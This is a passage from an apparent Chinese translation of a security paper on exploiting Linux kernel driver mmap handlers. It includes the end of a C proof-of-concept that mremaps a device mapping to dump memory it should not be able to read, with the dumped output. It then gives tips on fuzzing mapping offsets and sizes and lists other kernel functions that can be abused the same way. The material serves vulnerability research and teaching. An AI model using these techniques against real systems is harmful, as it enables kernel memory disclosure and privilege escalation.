1164 | unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
1165 | if (addr == MAP_FAILED)
1166 | {
1167 | perror("Failed to mmap: ");
1168 | close(fd);
1169 | return -1;
1170 | }
1171 |
1172 | printf("[+] mmap OK addr: %lx\n", addr);
1173 | addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
1174 | if (addr == MAP_FAILED)
1175 | {
1176 | perror("Failed to mremap: ");
1177 | close(fd);
1178 | return -1;
1179 | }
1180 | printf("[+] mremap OK addr: %lx\n", addr);
1181 |
1182 | hexDump(NULL, addr, 0x8000);
1183 |
1184 | int stop = getchar();
1185 | return 0;
1186 | }
1187 | ```
1188 |
1189 | 我们的exp输出如下。有一次看到了转储的内存内容中包含了本不该独到的内容:
1190 |
1191 | ```sh
1192 | $ ./mwr_client
1193 | [+] Open OK fd: 3
1194 | [+] mmap OK addr: 42424000
1195 | [+] mremap OK addr: 42424000
1196 | 0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1197 | 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1198 | ...
1199 | 4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....
1200 | 4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....
1201 | 4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....
1202 | 4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............
1203 | 4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....
1204 | ...
1205 | ```
1206 |
1207 | ## 5. 奇技淫巧
1208 |
1209 | ### 5.1 为了胜利而挖掘
1210 |
1211 | 通常当分析mmap handler时,我们可以找到一大堆位掩码、位移以及算术操作。这些操作可以使得错过具体的魔数更为容易,这允许一个攻击者绕过输入安检并获取到预料之外的具体内存区域访问权限。有两个值需要我们去挖掘;映射的offset和size。仅有两个值需要挖掘意味着我们可以挖掘该驱动相对快一点,允许我们尝试一个范围的数,确保我们彻底的测试所有可能的边缘情况。
1212 |
1213 | ### 5.2 相同议题的不同函数
1214 |
1215 | 本文中我们描述了使用`remap_pfn_range`函数以及它的fault handler来创建内存映射。然而,这并不是唯一的可以被本方式利用的函数,有一大堆其他的函数在滥用的情况下也会导致内存区域的任意修改。你无法仅通过一个单一函数的使用而保证某个驱动是安全的。其他潜在的有意思的函数可能是:
1216 |
1217 | - `vm_insert_page`
1218 | - `vm_insert_pfn`
1219 | - `vm_insert_pfn_prot`
1220 | - `vm_iomap_memory`
1221 | - `io_remap_pfn_range`
1222 | - `remap_vmalloc_range_partial`
1223 | - `remap_vmalloc_range`
1224 |
1225 | 不同内核版本中,函数列表不完全一致。
1226 |
1227 | ### 5.3 如何去搜索这一类漏洞?
1228 |
1229 | 本文中我们描述了设备驱动在实现mmap handler时的一种漏洞。然而,几乎任何的子系统都实现了一个自定义的mmap handler。proc, sysfs, debugfs, 自定义文件系统, sockets以及任何提供了文件描述符的子系统,它们都可能实现了一个有漏洞的mmap handler。
1230 |
1231 | 此外,`remap_pfn_range`可能被任何系统调用所调用,不只是`mmap`。你也可以在ioctl的handlers中找到该函数。
--------------------------------------------------------------------------------
/files_papers.xlsx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/files_papers.xlsx
--------------------------------------------------------------------------------